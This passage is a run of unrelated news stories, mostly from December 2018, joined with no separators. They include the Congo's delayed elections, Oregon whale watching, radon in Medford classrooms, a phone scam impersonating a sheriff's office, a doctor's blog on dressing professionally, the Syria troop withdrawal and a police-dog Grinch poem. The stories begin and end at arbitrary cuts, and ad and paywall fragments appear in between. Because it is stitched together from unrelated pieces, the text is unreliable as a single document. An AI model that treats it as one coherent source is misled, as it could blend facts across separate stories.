2016 elections and enable Kabila to remain in office beyond the end of his second term. Around 50 people are killed. More demonstrations follow in September in which several dozen people are killed. The same month, violence breaks out in the diamond-rich central Kasai region after security forces kill a local chieftain. The conflict spirals, leaving more than 3,000 people dead in eight months, according to a Catholic church report. December 20, 2016 is meant to be Kabilas last day but with no vote planned nor sign of him stepping down, protesters take to the streets prompting a crackdown that leaves at least 40 dead, the UN says. Polling day finally fixed On New Years Eve, opposition parties and the government reach a deal that the delayed elections will be held at the end of 2017 and that Kabila can stay in power until then. But the vote is postponed again, purportedly because of organisational problems. In November 2017 the Electoral Commission announces a new date of December 23, 2018. In June 2018, the International Criminal Court acquits Bemba of war crimes and he returns home announcing he will run for president. Two months later, Kabila names former interior minister Emmanuel Ramazani Shadary as his successor, ending speculation about his own candidacy. When the Electoral Commission publishes its list of 21 approved candidates in September, it excludes Bemba and exiled regional baron Moise Katumbi, both of them opposition heavyweights. BROOKINGS, Ore. Standing vigil on the Oregon coast at the end of this month could yield some big rewards as Gray whales begin their migration south for the winter. As a result, the Oregon Parks and Recreation Department (OPRD) are celebration their Whale Watching Week from December 27 through 31. "Whale Watching Week coincides with the highest frequency of whales swimming down the coast; roughly 30 whales pass by per hour," OPRD said in a statement. During that week, volunteers from the Whale Watching Spoken Here program will be stationed at 24 sites along the Oregon coast including two spots near Brookings. The volunteers will be on-site from 10 a.m. to 1 p.m. each day, offering whale watching tips and Gray whale facts. About 20,000 Gray whales migrate south from Alaska every winter headed for the "warm calving lagoons" near Baja, Mexico, according to OPRD. Luke Parsons, an OPRD ranger with the Whale Watching Center in Depoe Bay, says one of the goals of the event is to create awareness and compassion for whales and other marine life. "Whales are a special part of the Oregon coast," said Parsons. Were very proud to work with our volunteers to help visitors connect with the whales and our oceans. Camping and stays in a yurt or cabin are available at state parks along the coast. For a full map of all whale watching locations, CLICK HERE. MERLIN, Ore. A Josephine County man is behind bars, charged with multiple counts of Sex Abuse, according to Oregon State Police (OSP). Details at this time are scarce, but detectives believe that there are more victims who have yet to come forward. Detectives arrested 50-year-old Mark Christopher Boothe of Merlin on Monday. Boothe has been lodged in the Josephine County Jail on 5 counts of Sex Abuse in the First Degree and 5 counts of Sodomy in the First Degree. Boothe has lived in the Merlin area since 1992, according to OSP. Court records indicate that a 9-year-old boy reported the molestation. According to a statement from police, Boothe then admitted to the victim's mother that he had molested the boy before ultimately confessing to law enforcement. The same statement reports that the crimes were committed between April and October of this year. "Detectives believe there are more victims and are asking anyone that is a victim or knows someone that has been a victim of Boothe to contact the Oregon State Police Southern Command Center," OSP said. Anyone with information can call OSP at 1-800-442-2068 or *OSP (677) and reference Detective Eve Thornton. MEDFORD, Ore. Routine testing at Medford School District (MSD) buildings has led to the discovery of "elevated levels" of radon gas a radioactive byproduct of uranium that can cause lung cancer. The elevated readings were discovered in several classrooms at Griffin Creek Elementary. "The majority of schools did not have an actionable level of radon. However, five Griffin Creek Elementary School classrooms tested above the action level set by the Environmental Protection Agency," MSD said. Radon is a naturally-occuring gas caused by the radioactive decay of uranium below the earth's surface. It tends to seep into buildings from the soil around them. After smoking, indoor radon exposure is considered to be the second-leading cause of lung cancer in the U.S. causing an estimated 21,000 lung cancer deaths per year. "EPA's national survey of schools produced some alarming results about concentrations in our children's classrooms . . . All schools must be tested to determine if there is a problem, and schools must inform parents of the results. We cannot ignore this problem," said Kathryn Whitfill, National PTA President. The Environmental Protection Agency (EPA) recommends action to reduce radon levels when readings above 4.0 pCi/L (picoCuries per liter of air) are detected. The average outdoor level nationally is .4 pCi/L. Readings at several Griffin Creek Elementary classrooms tested between 4 and 6 pCi/L in November of this year. While the raw data from MSD indicated some readings at 14 pCi/L or above with some as high as 20 pCi/L MSD has since clarified that these were a control measure, known as "spikes." The purpose of spikes are explained on this informational document. Right now, students continue to be taught in the classrooms that did test between 4 and 6 pCi/L. While the EPA calls this level "actionable," that label does not indicate any clearly discernible health effects: "The action level is not health based," MSD said. "Like lead, there is no amount of radon that is safe." Still, district officials do not believe that students learning in those rooms are at risk. MSD said that their Facilities Department took immediate action to make sure their current systems were operating correctly and to begin a second round of testing. That second round showed that "a fix to the HVAC system" resolved the issue for three of the classrooms. But five more classrooms continued to test above the EPA's standards. The positive news is that were testing to keep students and staff safe and it can be fixed, said Ron Havniear, Manager of Facilities and Support Services. According to MSD, the district continues to work on determining the cause, which could be "as simple as an adjustment to the HVAC system or blocking access routes from the ground." State lawmakers now mandate that radon testing be completed by January 1 of 2021. MSD said that they began their testing in 2016 as part of a Five-Year Plan to address any issues. According to a statement from MSD, 11 schools have been tested for radon so far. MEDFORD, Ore. If you have received an unsolicited call from the Jackson County Sheriff's Office (JCSO) lately, there's a good chance that the caller is trying to run a scam. According to the agency itself, they have received multiple reports of this kind of scam including one woman who paid the scammer $2,500. "Scammers posing as officials from the Jackson County Sheriffs Office (JCSO) are using familiar tactics with a new twist in an attempt to scam people out of money," the agency said in a statement on Wednesday. Reports of the scam started coming in on Tuesday. JCSO said that someone has been calling local residents and claiming that they have a "warrant for failing to appear in court," followed by a solicitation for payment. Leaving a callback number with the victim, the scammer then directs the victim to present themselves at the Sheriff's Office once payment is made. One woman appeared at the Sheriff's Office on Wednesday morning, reporting that she had spent $2,500 on prepaid debit cards and given the card numbers to someone over the phone. It wasn't until she arrived at the staton that she discovered she had been scammed. While other people have reported the scam, JCSO said that no one else has confirmed losing money. Weve seen scams like this before, said Sergeant Julie Denney. But this one is different because the scammers are also using an official-sounding recording to trick people into believing that JCSO is taking payments over the phone. A similar scam targeted residents of Josephine County in May of this year. Potential victims who dial the callback number left by the scammers are treated to an official-sounding computerized greeting complete with a number of options for different extentions that sound real [listen below]. The recording says that JCSO no longer accepts payments for fines through cash, checks or credit/debit cards only via a "secure electronic voucher system." The recording then prompts the caller to press a number in order to be connected with an "employee" of the agency. Its during that one-on-one contact with the scammer that people are manipulated into believing they have a warrant and need to pay their fines to avoid being arrested, said Sergeant Denney. Sergeant Denney says prevention is the most important way for citizens to battle scams. Due to the technology used in the scam and the fact that scammers can be located anywhere in the world it is virtually impossible to track the scammers or to get money back. JCSO officials say that its important for people to know that their employees will never call people to let them know they have warrants or to request any form of payment. Legitimate businesses and government agencies will not request payment by prepaid debit cards. The agency also says not to focus on specific scam tactics. Scammers often change their methods over time, but here are a few general tips that may be helpful to know: Scammers can easily obtain new phone numbers and will change them often. Scammers may use spoof programs to make the Caller ID show an agencys actual phone number. Scammers may use the names of actual JCSO employees to make the call seem legitimate. Scammers may obtain personal information about a victim online including their name, address, phone number, and the names of others in the home. Scammers may initially contact victims by mail, email, or through social media. 356 Shares Share Ive always believed in looking the part as a physician. So much so that I even write about it! You may have read my piece that became widely circulated online, about why physicians should always dress to impress. The article generated quite a response, and I received a lot of interesting comments and emails. Of course, not all physicians are in a specialty where they can do so, or where its even practical. But my belief having worked with thousands of physicians is that we dont always do ourselves full justice in this respect. When I occasionally see (some) doctors walking around the hospital like theyve just rolled out of bed, I often wonder what impression that is giving to all the patients and families they meet. Remember, this isnt about walking around like you are on a Paris catwalk or wearing ridiculously expensive clothes. But it is about wearing attire that is professional and befitting of a top-notch profession. True, healthcare and the practice of medicine probably has a hundred and one more important things to deal with. But anyone who doesnt realize that in the eyes of the general public or your colleagues, what you wear every day is also saying a hundred and one things about you, maybe is a little naive. Patients love it when they see their doctor looking the part (and has even been showed in studies of patient preferences), and consciously or subconsciously, it communicates a tremendous amount. Im going to actually take things one step further now and tell you something else. A couple of years ago, I started wearing my tie and full-blown weekday clothes on weekends as well. I previously used to give it a rest on Saturdays and Sundays, just because it seemed like all other doctors allowed themselves to go casual. I remember many colleagues who were only ever used to seeing me dress professionally, would walk up to me on weekends and jokingly say: Oh my goodness Dr. Dhand, wheres the nice tie and shirt gone? I, however, changed this habit completely after something happened in a hospital I was working in. One Sunday, a patient abruptly took a turn for the worse. I was called to deal with this completely unexpected situation. It wasnt a full blown code, but a rapid and urgent deterioration, that required some time and effort to deal with. There was a bit of a skeleton staff on the weekend, as is the case in most hospitals. Getting tests and scans done was not as quick as it was on weekdays, and fewer specialists were around to help out. Fortunately, after a major scare, everything was fine in the end. I talked with the family, patient was OK, and we were all set. On that particular Sunday, I remember I was wearing a somewhat casual shirt and semi jean-like pale pants. I probably still looked reasonably professional, but not quite what I usually do. As I was later going over in my head what happened clinically, and the fact that we were slightly hampered on the weekend, I realized again that the practice of medicine and readiness for an emergency shouldnt vary by day of the week. Hence, from that day forth, having probably done so for at least ten years, I decided there would be no dressing down for me on weekends. I want my patients to know I am a professional on Saturdays and Sundays too, that I dont come in looking any less the part, and that they will always be receiving the same level of care from me. If you go to a five-star hotel or restaurant, the staff dont dress down or display a sense of relaxation just because its the weekend. Therefore, I came to the conclusion that neither should anybody who is involved in life or death decisions. I may not be able to control other variables to do with staffing or resource allocation, but I do have control over myself and my appearance. Thats my ten cents and how I feel about always having a professional face when Im caring for patients. Im not writing this to shame other doctors who dont even wear a shirt and tie on weekdays, let alone on weekends! Nor is it to imply that the clothes you wear automatically correlates with clinical care, or that its even practical sometimes like in surgery or pediatrics, to wear formal wear. Its just my take on the seriousness with which I approach the practice of medicine and the privilege of taking care of patients. Always at the ready and at attention to respond. Any weekend Im working in the hospital, my shirt top button is never undone when I sit in front of a patient. Suneel Dhand is an internal medicine physician and author. He is the founder, DocSpeak Communications and co-founder, DocsDox. He blogs at his self-titled site, Suneel Dhand. Image credit: Shutterstock.com WASHINGTON, D.C. -- Oregon Senator Ron Wyden has introduced a bill to give college graduates the ability to save for retirement, while still having money to pay off student loans. Under the Retirement Parity for Student Loans Act, recent graduates who can't afford to save above their student loan repayments would no longer have to give up their employer match. Millions of new college grads are buried under tens of thousands of dollars in student loan debt. Paying down student loans shouldnt mean employees lose out on the opportunity to save for the future, Wyden said. The Retirement Parity for Student Loans Act would allow employers to make matching contributions into a 401(k) retirement plan, while their employees continue to pay off student loans. The Senate Finance Committee, of which Wyden is a member, decided to introduce the act to prepare for next year. Its expected that broader conversations on how to improve retirement policies will be debated during the 116th Congress. SPRINGFIELD, Ore. -- Students at Page Elementary in Springfield learned about the connection between color and sound with Artie the Art Bus. They learned about Alexander Scriabin, a Russian musician, and Vassily Kandinsky, an artist. Both have synesthesia, a condition where two senses that arent usually connected are, like hearing color. During the project, students were challenged to listen to music with their eyes closed and use markers and water colors to draw what they were hearing. For a lot of students, not having the pressure to make something look like a drawing, a house to look like a house, or a flower, having it be abstract is kinda freeing, art bus teacher Melanie Pearson said. The bus was set to make stops at Camas Ridge Elementary School and Fairfield Elementary. The art will be displayed in April at the Eugene Symphony performance. PORT ORCHARD, Wash. (AP) -- The National Weather Service says preliminary investigation shows an extremely rare tornado that touched down west of Seattle Tuesday was rated an EF2. That means it is considered to have been a significant tornado. Estimated peak winds during the tornado were up to 130 mph. The Weather Service surveyed the damage and found homes without roofs, trees torn out of the ground and windows blown out of cars. It says significant tree and structure damage was noted along the twister's path. No injuries have been reported. Kitsap County Search and Rescue workers along with search dogs worked into Tuesday night. They swept the area checking for people who may have been injured or stranded but found none. The storm severely damaged several homes and caused more than 1,000 to lose power. Authorities say as many as 450 homes may have suffered damage. Port Orchard is about 15 miles west of Seattle, across Puget Sound on the Kitsap Peninsula. Metro Manila (CNN Philippines, December 20) American supermodel Tyra Banks, international fashion magazine Vogue, and the rest of the world have gushed about Miss Universe 2018 Catriona Gray's pageant (also runway-ready) walk. Gray's pageant mentor and trainer Carlos Buendia Jr. revealed that perfecting the viral slow-mo turn and the now-iconic "lava walk" involved a lot of tears. "A couple of months actually medyo struggling. Minsan umiiyak po sya kasi she has back problems, we all know naman. That's why 'yung respect po namin ganun kalaki," he said on Thursday. The beauty queen's question-and-answer trainer Nicole Cordoves earlier revealed that Gray suffers from scoliosis, a sideway curvature of the spine. Buendia explained it took a month before Gray was able to perfect her walk. The 24-year-old Filipino-Australian beauty queen bested 93 other candidates from different countries. She succeeded Demi Leigh Nel-Peters from South Africa. Gray is the fourth Filipino to bring home the coveted title, joining Gloria Diaz, Margie Moran, and Pia Wurtzbach who won in 1969, 1973, and 2015, respectively. CNN Philippines correspondent Joyce Ilas contributed to this report. Christmas arrives in a few days time, most of the work parties are over leaving plenty of time to catch up with family or friends. Why not add a little live music into the mix, theres loads to choose from over the next few days. No matter your interest or where youre based in the county you're sure to find a gig to enjoy with plenty of festive fun. This (Wednesday) evening the Christmas Country Concert Tour rolls into the Springhill Court Hotel from 7.30pm. Join MC Brian Cunningham as he brings you through a trail of talent including Philomenia Begley and band, Louise Morriseey, Dominic Kirwan, Aidan Quinn, Colm Kirwan, Rory Kirwan and Stacey Hogan. If Swedens best known song-makers are more your thing, then catch the second offering of the ABBA Forever Christmas Show at the Watergate Theatre from 8pm. While Alchemy presents Christmas by Candlelight at St Canices Cathedral from 8pm in support of Taxi Watch. Special guests include Michael Hayesand Fionn Gardner with an appearance by Taxi Watchs Derek Devoy. Thursday has a lunchtime Christmas Classical Concert at Kilkenny Castles Picture Gallery. But, if youve not already expressed an interest in this it looks like youll now not get in as its fully booked for its 1pm start time. The Watergate Theatre hosts a sing-a-long and screening of The Greatest Showman from 4pm. Hermitage Green kick off their last five gigs of the year by playing Set Theatre at Langtons from 8pm. The Christmas Songbook opens at Billy Byrnes from 9.30pm as Honor Heffernan & Jim Doherty take over The Sofa Sessions. Theyre joined by Dave Fleming and Cormac Larkin. If youve been a fan of the weekly event or youve yet to discover its greatness, then why not swing by. Following last week's hugely successful performance from the Lady Desart Children's Choir, the adult version is in action this Friday. Churchill National School is again the venue for the concert which starts at 7pm. If you were around MacDonagh last Saturday you'll have gotten a bit of a taster of the talent that will be on show. The Mayors Christmas Concert Watergate Theatre from 8pm. Edward Hayden gets the party started with input from St Fiacres National School Skeoughvosteen, Noah Synder, Jesters Stage Academy, Moloneys Men and The Kilkenny Choir. Proceeds will go to Amber Kilkenny Womens Refuge. Moiras Open Mic night is at the Home Rule Club offering up a great opportunity to enjoy some music while checking into one of the county's oldest venues. The Waterloo ABBA tribute at Kytelers Inn kicks off at 9pm in the Courtyard bar. If you like your nights loud and full of fun then Papa Zitas play Left Bank from 10pm. On Saturday there's a second sing-a-long and screening of The Greatest Showman at the Watergate Theatre from 2pm. Mary Kelly leads a Christmas Harp session at Kilkenny Castle from 3pm. Theres an evening of traditional music with a twist and a few surprises at the Orchard House from 7.30pm. Laochra Oga perform there with proceeds to the Kilkenny Christmas Centre, The Rock. Jack Lukeman brings his Northern Lights show to the Watergate Theatre from 8pm with songs for the Winter Solstice. Martin Lacey plays the bar at the Home Rule Club. Atom 005 at Brewery Corner presents Casper Hastings, Aidan Murphy and Jack Cullen from 9pm. The Low Fis Christmas Party unfolds at Rafter Dempseys from 10pm. At the same time local outfit The Presidents play Hacketts Bar from 8pm. And Riff Shop take over Left Bank from 11pm. Sunday starts with Cantoiri an Rataigh at Kilkenny Castle from 2pm followed at 3pm by soprano Muireann Mulrooney with Margaret Murran on piano. Carol singing At 5.30pm theres Christmas carol singing at St Marys Collegiate Church in Gowran. HamsandwicH play Set Theatre at Langton's from 8pm. Hacketts Bar hosts Rob Strong from 8.30pm. Its free to attend but tickets in aid of the Good Shepherd Centre will be sold for a raffle on the night, costing 2 or three for 5. All proceeds will go towards helping local homeless. Most of the pubs and venues will ease things off a little on Monday but theres still time to get in for an early Christmas Eve chat. While Christmas Day sees the doors closed as those who help us party take a well-deserved break. SILVERTON, Ore. (KPTV) -- Christmas is less than a week away and children all over the world are writing letters to Santa. A couple in Silverton is quietly working behind-the-scenes to help Santa and keep the magic of Christmas alive. In the small town of Silverton, Oregon, you can feel Christmas in the air. The lights on the trees, the displays in the shop windows and yes, jolly old saint nick keeping a watchful eye. The big man in red could use some help. So when letters to Santa arrive at the post office in town mail carrier John Zajdel intervenes. No one else was doing it, so we gladly took it upon ourselves, so we've just been quietly doing it now for almost 20 years, Zajdel said. With blessings from Santa and the postmaster whenever he comes across a letter to the north pole, he takes it home to his wife, Brenda. As one of Santas elves, its her job to read every one and craft a hand-written reply he can deliver. I can't imagine a kid sending it out and not getting a response," Brenda said. "One of the letters that stands out to me was from last year. It was a kid asking for stuff for the sibling as well as themselves." This year another stand out, a 2-year-old girl named Lucy asking Santa for a broom. "Because Im good at helping mom!" Her mother writes. "Especially when daddy is driving the ambulance." Then the magic moment when she gets a letter back. We are so happy you've been a good girl this year the letter says, "Santa said he'll see what he can do about bringing you a broom" The Zajdel's find 20 or 30 letters every year. And when they're not working as Santas elves they're parents, too. Earn 18X the national average Save for a bright future with an Amex Personal Savings Account at 2.00% APY. Terms Apply Ad By Amex Savings See More Inspired by the innocence of it all, it's their Christmas tradition. Oh I love it. I mean it's such a crazy season, and when we see that we get so excited. And Brenda will text me all day long did you get anything? Did you get anything? And i think we get more excited than the kids do, Zajdel said. Back at Lucy Hupp's house an update on her Christmas list. When she got to sit on Santas lap she changed her mind. It's not a broom she wants this year, its a sister. In a separate effort, the Silverton Kiwanis club also helps Santa with his letters. Children can drop theirs off at the big red mailbox in town next to the city's Christmas tree, through Thursday. ROCHESTER, Minn.- It's a growing concern throughout Southeast Minnesota, contaminated water from fertilizers on farmland. Yesterday, a permit was denied for a large hog farm in our area because the potential of higher groundwater pollution. Today, The Basin Alliance for the Mississippi in Minnesota held a meeting about the problem. The held their meeting at the Minnesota Pollution Control Agency in Rochester to discuss a three year study on improving nitrogen management on farmlands. This is a critical issue over the entire landscape of Southeastern Minnesota we have these tests that show high proportions of bad wells and bad water high nitrate levels high pesticide levels and it's leaking into the ground from our cropping systems, said Jeffrey Broberg. Broberg attending the meeting and is apart of The Minnesota Well Owners Organization. He says contaminated water is affecting southeast minnesotans. There are many factors that causes ground water to become polluted. University of Minnesota educator Greg Klinger says its to find a solution where all parties are satisfied is difficult. It's a big complicated issue. I think what a lot of data suggests it's going to take a lot of different solutions, trying a lot of different things to address a lot of those issues, he said. ROCHESTER, Minn. - The Jorgensons, a family from Thief River Falls, have lived at the Ronald McDonald House for 18 months. Their 17-year-old son Kallen's body shut down due to septic shock and he needed a heart surgery, amputations of his hands and feet, and dialysis. Despite Kallen's fight, the Jorgensons have a lot to be thankful for this year. "When your life feels like a mess and everything is all upside down and in a tizzy, it is so comforting to be here at the Ronald McDonald House," says Kallen's mother, Jennifer Jorgenson. The Ronald McDonald House is decked out in Christmas decor and staff try to make the holiday season a little extra merry and bright for families staying there. "It's really difficult for families to be away from home any time of year, but especially during the holiday season so we try to find additional family activities, additional ways to just remind them that people are thinking of them, that they have a lot to be thankful for even though there are some difficult times going on," says communications director Jacob Dreyer. "Every day we have a day brightener or something little in our mailbox that just totally gets your mind off of what you've experienced in the hospital," adds Jorgenson. The Jorgensons will not be spending another Christmas Day at the Ronald McDonald House. They are closing on a house in Rochester on Friday, which Jennifer says they have mixed emotions about. While sad to leave Thief River Falls, they are feeling blessed to be home for the holidays, in a way. "I am so thankful that we will be able to have a home and be able to be close and be able to bring Kallen home eventually and I'm so thankful that the Ronald McDonald House has blessed us with that home feeling," she says. Last year, the Jorgensons were advised to bring Kallen home for the holidays on hospice. This Christmas, they plan to sing Christmas carols with him in the hospital and bring him to their new home in the new year. CHARLES CITY, Iowa A Floyd county man is pleading guilty for a summer auto accident. Shawn Edward Gray, 44 of Charles City, was arrested on August 27 after he crashed into a tilt bed trailer and a car on D Street in Charles City. Police say Gray abandoned his vehicle in the middle of the street and was found a few blocks away. Court documents say Grays blood alcohol contest tested at .207 after the crashes, more than twice the legal limit. Gray pleaded guilty to OWI-1st offense and has been sentenced to two days in jail and one year of probation. He must also complete an approved drunk drivers course and pay restitution to his victims. HASTINGS, Minn. The Dakota County shooting death of a Rochester man was legally justified, according to the county attorney. Keagan Johnson-Lloyd, 23, was killed on October 1 by Hastings Police Officer Geoffrey Latsch. An alert was sent out that day after Johnson-Lloyd, a resident at Spirit Recovery Center, reportedly stabbed another resident in the leg. Spirit Recovery Center is a sober living facility in Hastings. Latsch was one of several officers who responded to the scene after Johnson-Lloyd was later seen near the Resurrection United Methodist Church in Hastings. Authorities say as Officer Latsch exited his squad car, Johnson-Lloyd ran at him with what Latsch believed to be a knife and yelling shoot me. Officer Latsch fired three times, hitting and killing Johnson-Lloyd. No other police officers fired during the incident. Dakota County Attorney James Backstrom issued a statement Wednesday that under all the facts and circumstances confronting Officer Latsch at the time of this incident, he was legally justified in using deadly force against Keagan Johnson-Lloyd to protect himself from death or great bodily harm. For the complete statement, click here. MASON CITY, Iowa A woman is going to jail after a drunken car chase with children in her vehicle. Natalie Marie Green, 26 of Mason City, pleaded guilty to aggravated misdemeanor child endangerment and OWI-1st offense. She was arrested on May 9 after law enforcement says she drove away from a traffic stop. The pursuit never exceeded the speed limit and Green eventually turned into the Meadow Lake Apartments parking lot, where law enforcement says she had to be forcefully removed from her vehicle. Court documents say there children ages 3, 2, and two months in Greens vehicle. No one was hurt in this incident. On Wednesday, Green was sentenced to two days in jail and ordered to pay a $1,250 fine. CLEAR LAKE, Iowa - It's not something you see every day; in fact, it may remind you of the movie "Up": a house is lifted off the ground and moved to a new location. That was the scene in Clear Lake this week. A new home was hoisted onto a new foundation, but had to overcome some significant obstacles in the big move. However, it's a challenge a Forest City contractor is up to tackling. Joe Farus with Farus Contracting has moved a lot of houses over the years, but those involved using smaller cranes to move them into place. "I enjoy doing it. It's exciting, especially when you're doing something...going this high in the air. We don't see this all that often." He recently took over the family business from his parents, just in time to move an entire house onto a new foundation. Surrounding powerlines, though, had to remain connected during the move. "This was the first one we ever had where someone didn't want their power turned off." To accomplish the project, pieces of the home were assembled in the Surf Ballroom parking lot, then loaded piece by piece onto a big rig. A large 300 ton Demag crane lifted the house in four separate sections high over active lines and trees onto the foundation. In addition, wind was a factor in the move too, with Joe's wife Bethanie saying that crews had to stop on Tuesday because it was too risky. "Once the house gets moving, and because this is a live line, they have to let those guidelines go so they don't get zapped. The wind could start pushing that house and it's so heavy and with the inertia, it's almost impossible to stop it and it could hit the crane. So you have to be careful with that." While the Farus family has over 30 years experience with moving homes, including one on the other side of Clear Lake that involved a larger crane, they hope the next time they can eliminate one obstacle. "If we ever have to do this that everyone agrees to let us shut the power off for a short period. It would be a lot faster and easier." Once all the pieces of the house were put into place, crews went to work on suring up the house to secure it against the winter. The next step is to finish the interior of the house. MASON CITY, Iowa A trial is set for a woman accused of stealing from the Salvation Army. Shelly Ann Hitchcock, 39 of Mason City, is pleading not guilty to credit card fraud. Cerro Gordo County prosecutors say Hitchcock stole a credit card from the Mason City Salvation Army office while she worked as a cleaning lady and used it to buy over $1,000 in personal items. Law enforcement says the items were bought on October 23 and Hitchcock was arrested on November 2. Her trial is scheduled to begin on February 19, 2019. A former MP sent this lovely message out of the blue to Chris Finlayson after his valedictory: Date: Tuesday, 18 Dec 2018, 19:40 To: Hon Christopher Finlayson Subject: farewell And (to resort to the vernacular of your basic origins): Fucking good riddance rat.. The reply from Mr Finlayson was: From: HonChristopher Finlayson Date: Tuesday, 18 Dec 2018, 20:32 Subject: RE: farewell Dear Mr xxxxxxx I am very worried that a lunatic has broken into your system and is sending demented e mails in your name. I suggest you contact the Police. Yours sincerely Chris Finlayson Share this: Facebook Twitter LinkedIn Reddit WhatsApp More Pinterest Print Tumblr Photo: Contributed The parent company of Labatt Breweries of Canada has struck a research deal with Tilray Inc. that's expected to result in the creation of a variety of non-alcoholic beverages containing some of the active ingredients found in cannabis. Tilray chief executive Brendan Kennedy says that the B.C.-based cannabis producer and the Canadian arm of brewing giant Anheuser-Busch InBev will set up a joint venture to build on the expertise of their respective businesses. Each partner has committed to provide the equivalent of about $67.5 million of funding to the joint venture, which has yet to be named. There's also no time-table yet for when the joint venture will have drinks ready to sell on the Canadian market. Current federal law allows non-medical use dried cannabis by adults but other forms of marijuana aren't yet legal for recreational use in Canada. Molson Coors Canada and HEXO Corp., a Quebec-based cannabis producer, announced a similar partnership in August. Alcohol producer Constellations Brands Inc. invested $5 billion in Canopy Growth Corp. the same month. Kennedy says that Tilray's strategy is to partner with global companies, like AB InBev, that can help it eventually grow beyond Canada one of the first countries to allow cannabis products for non-medical use by adults. "We're proud to be global pioneers and we want to pioneer with other global pioneers who are leaders in their respective sectors," Kennedy said in an interview. Tilray and Labatt will look at a broad spectrum of ready-to-drink and ready-to-mix beverages in many different forms, for different types of consumers and different consumer needs, he said. Kyle Norrington, president of Labatt, says his company intends to develop "a deeper understanding of non-alcohol beverages containing THC and CBD that will guide future decisions about potential commercial opportunities." THC, or tetrahydrocannabinol, is the ingredient that provides pot users with a buzz while CBD, or cannabidiol, is a non-intoxicant that has medicinal properties. Photo: Wikipedia The operator of a guide outfitting company has filed a proposed class-action lawsuit against the B.C. government over the ban on grizzly bear hunting. Ron Fleming, owner of Love Bros. & Lee, is seeking compensation for all B.C. guide outfitting businesses allegedly harmed by the hunting ban. The lawsuit filed in B.C. Supreme Court names the Ministry of Forests, Lands, Natural Resource Operations and Rural Development and the minister, Doug Donaldson, alleging the province inappropriately closed the hunt over public opinion and for political or social reasons. The statement of claim alleges the government knew its decision would harm the 2,000 people directly employed by 245 guide outfitting businesses, especially those with licences to hunt grizzlies or who lost business when the ban was announced in 2017. The lawsuit says prior to the ban, fewer than two per cent of the bears in B.C. were hunted each year and the number of grizzlies has been increasing across the province. None of the allegations has been proven in court, and a statement of defence has not been filed. The provincial government did not immediately respond to a request for comment. First Nations who hunt for treaty rights or for food, social and ceremonial reasons were exempted from the ban. When it went into effect, Donaldson said it was "no longer socially acceptable to the vast majority of British Columbians to hunt grizzly bears.'' Environment Minister George Heyman also cited research suggesting the economic impact of bear viewing is far greater than hunting, both for revenue and job creation. The statement of claim says there was no government consultation about shutting down the hunt with guides, resident hunters or First Nations. It asks for financial compensation for damages. Chad Day, president of the Tahltan Central Government, which represents the Tahltan and Iskut First Nations, says in a news release they support the legal action. "It has hurt our people culturally, economically and put many of British Columbia's communities and dwindling ungulate and salmon populations at further risk," Day says. The court must first approve the class-action before it would be allowed to continue. The statement of claim says hunters pay as much as US$25,000 for a guided grizzly bear hunt and when the ban was announced, many outfitters had to cancel bookings already confirmed by deposit for dates into 2021. Photo: The Canadian Press Defense Secretary Jim Mattis welcomes Vice President Mike Pence to the Pentagon, Wednesday. The Trump administration will soon withdraw all of the approximately 2,000 American troops from Syria, a U.S. official said Wednesday as President Donald Trump declared victory in the mission to defeat Islamic State militants there. Planning for the pullout has begun and troops will begin leaving as soon as possible, said the official, who was not authorized to publicly discuss military planning and spoke on condition of anonymity. On Wednesday, as Vice-President Mike Pence met with top military leaders in the Pentagon, Trump tweeted: "We have defeated ISIS in Syria, my only reason for being there during the Trump Presidency." That declaration of victory is far from unanimous, and the withdrawal decision immediately triggered demands from Congress -- including Republicans -- for more information and a formal briefing on the matter. Sen. Lindsay Graham, R-S.C., who just returned from Afghanistan, said he was meeting with Defence Secretary Jim Mattis late in the day. The decision will fulfil Trump's long-stated goal of bringing troops home from Syria, but military leaders have pushed back, arguing that the IS group remains a threat and could regroup as it battles in Syria's long-running civil war. In Canada, a spokeswoman for Defence Minister Harjit Sajjan said Trump's decision won't affect Canada's commitment of troops to the fight against the IS group. No Canadian troops are deployed to Syria as part of the mission, said spokeswoman Byrne Furlong. "The U.S government's announcement to withdraw their troops from Syria does not affect our Canadian Armed Forces' commitment to support Iraq," she said in an email. "We are providing valuable contribution to support our allies in the Middle East, including providing building-partner capacity to the Iraqi Security Forces." Trump has argued for the withdrawal since he was a presidential candidate. But the decision underscores the division between him and his military advisers, who have said in recent weeks that pockets of IS militants remain and U.S. policy has been to keep troops in place until the extremists are eradicated. Israeli Prime Minister Benjamin Netanyahu, who remains concerned about Iranian efforts in the area, reacted in noncommittal fashion after talking with Trump by telephone. "This is, of course, an American decision," he said. Israel will learn of the timetable and manner of withdrawal, he said, and no matter what "we will safeguard the security of Israel and protect ourselves from this arena." Photo: RCMP Police dog Denim is the star of a poetic press release from Const. Kathy Forgeron of the Cranbrook RCMP. Denim thwarted a Grinch intent on stealing Christmas parcels. Here's the story, with apologies to Dr, Seuss. Every Cranbrookian down in Cranbrook liked Christmas a lot. But the Grinch west of Cranbrook did not. And I think that by now we might know the reason The Grinch hated Christmas, and the whole Christmas Season Was it the presents and packages tied up with bows? Was it the singing? The food? Or do we really know? The Grinch found a truck that was loaded with presents He hid all the items does that make any sense? Then along comes our hero, the four-legged kind No, not Max with his antler, but Denim, our new mastermind. Now if you recall from several years ago Denim located travellers bound for San Francisco This time like the other Denim would not be denied He searched and he scoured the whole countryside. The trail that he followed led him to gold Loads and loads of packages meant to be sold. It took him two days to find all the boxes (He may have been sidetracked by a couple of foxes). But find them he did, our hero named Denim Now returning the packages will be done in the interim. The Grinch was located and spent time in jail Until poor little Max could come up with his bail. Once again this Christmas season, Denim came and saved the day Now the packages are being delivered, we wouldnt have it any other way. So when opening your presents wrapped nicely under the tree Think of Denim and his handler, who saved Christmas merrily! Thank you for reading! Please purchase a subscription to read our premium content. If you have a subscription, please log in or sign up for an account on our website to continue. Photo: Contributed An Alberta woman has been identified as the third Canadian detained in China in the wake of the arrest of Huawei CFO Meng Wanzhou. Sarah McIver had reportedly been teaching in China, reports CTV News. Federal officials, however, do not believe there is any link between McIvers arrest and the two men imprisoned earlier this month; diplomat Michael Kovrig and entrepreneur Michael Spavor. The first indications are that this is a very separate case compared to the two others that occurred, Prime Minister Justin Trudeau said. The others that were arrested at the start of the week were accused of serious crimes, problems regarding national security, intelligence. Global Affairs Canada is not commenting on McIvers arrest, citing privacy concerns. China has since granted Canada access to both Spavor and Kovrig, who have met with Canada's ambassador to China. with files from CTV Vancouver Photo: Contributed The Trudeau Liberals suggest a guaranteed national minimum income could be an option as they search for ways to help Canadian workers adapt to an unsteady and shifting labour market. In separate recent interviews, Prime Minister Justin Trudeau and Social Development Minister Jean-Yves Duclos 